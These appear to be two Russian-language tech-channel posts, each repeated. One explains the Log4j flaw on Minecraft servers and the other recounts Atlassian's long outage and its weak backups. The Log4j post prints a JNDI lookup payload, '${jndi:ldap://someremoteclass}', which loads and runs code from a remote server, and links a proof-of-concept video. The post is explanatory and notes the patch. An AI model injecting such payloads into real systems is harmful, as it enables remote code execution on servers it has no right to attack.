История с Log4j, конечно, интересная. Теперь и пользовательские серверы Minecraft в панике. Как пишут, достаточно лишь отправить сообщение в чат, чтобы выполнить вредоносный код.
Обычно от логировщика требуется одно: получить строку и отправить в соответствии с предоставленными конфигурациями. Но Log4j проверяет входные данные и резолвит их.
Как пример, на Хакерньюз приводят такое:
Если как аргумент скормить что-то такое:
Как пример уязвимости — http сервер, который логирует строку, скажем, user agent.
Конкретно для Minecraft вышел официальный патч 1.18.1, который закрывает уязвимость, но множество пользовательских серверов всё ещё подвержены этому.
#IT
Обычно от логировщика требуется одно: получить строку и отправить в соответствии с предоставленными конфигурациями. Но Log4j проверяет входные данные и резолвит их.
Как пример, на Хакерньюз приводят такое:
Logging from ${java:vm} // на выходе будет Logging from Oracle JVM
. Если как аргумент скормить что-то такое:
${jndi:ldap://someremoteclass}
, то с удалённого сервера можно подгрузить класс и динамически исполнить вредоносный код.Как пример уязвимости — http сервер, который логирует строку, скажем, user agent.
Конкретно для Minecraft вышел официальный патч 1.18.1, который закрывает уязвимость, но множество пользовательских серверов всё ещё подвержены этому.
#IT
YouTube
CVE-2021-44228 Log4j (Minecraft) RCE Proof-Of-Concept
Works.
Поучительная история о недавней недоступности Atlassian. Плохая коммуникация, проблемы с секьюрностью и отсутствие нормальных бекапов. Классика.
Если вкратце, то запустили скрипт не с теми правами, передали не те ID'шники, в итоге потёрли данные 400+ клиентов. Почему восстановление заняло столько дней? Бекапится у них всё скопом. Вероятно, даже стандартными средствами БД. В итоге восстановить можно либо всё, либо ничего.
Если накатить старый бекап, то у тех, кто потерял данные, они восстановятся, но, при этом, удалится всё у тех, кто что-то менял после точки бекапа. Вот они все эти дни селлективно ручками восстанавливали данные.
В целом, распространённая практика, особенно в стартапах, т. к. нет времени писать собственную систему бекапа. Обычно просто периодические бекапы делаются, даже не инкрементные. Плюс ещё надежда на то, что "всё будет отлично и ничего фатального не случится". Многие свои бекапы даже никогда не проверяют. А когда прижмёт, то может оказаться, что бекапы битые. Такое даже с крупными компаниями случалось не раз.
#IT
Если вкратце, то запустили скрипт не с теми правами, передали не те ID'шники, в итоге потёрли данные 400+ клиентов. Почему восстановление заняло столько дней? Бекапится у них всё скопом. Вероятно, даже стандартными средствами БД. В итоге восстановить можно либо всё, либо ничего.
Если накатить старый бекап, то у тех, кто потерял данные, они восстановятся, но, при этом, удалится всё у тех, кто что-то менял после точки бекапа. Вот они все эти дни селлективно ручками восстанавливали данные.
В целом, распространённая практика, особенно в стартапах, т. к. нет времени писать собственную систему бекапа. Обычно просто периодические бекапы делаются, даже не инкрементные. Плюс ещё надежда на то, что "всё будет отлично и ничего фатального не случится". Многие свои бекапы даже никогда не проверяют. А когда прижмёт, то может оказаться, что бекапы битые. Такое даже с крупными компаниями случалось не раз.
#IT
Pragmaticengineer
The Scoop: Inside the Longest Atlassian Outage of All Time
Hundreds of companies have no access to JIRA, Confluence and Atlassian Cloud. What can engineering teams learn from the poor handling of this outage?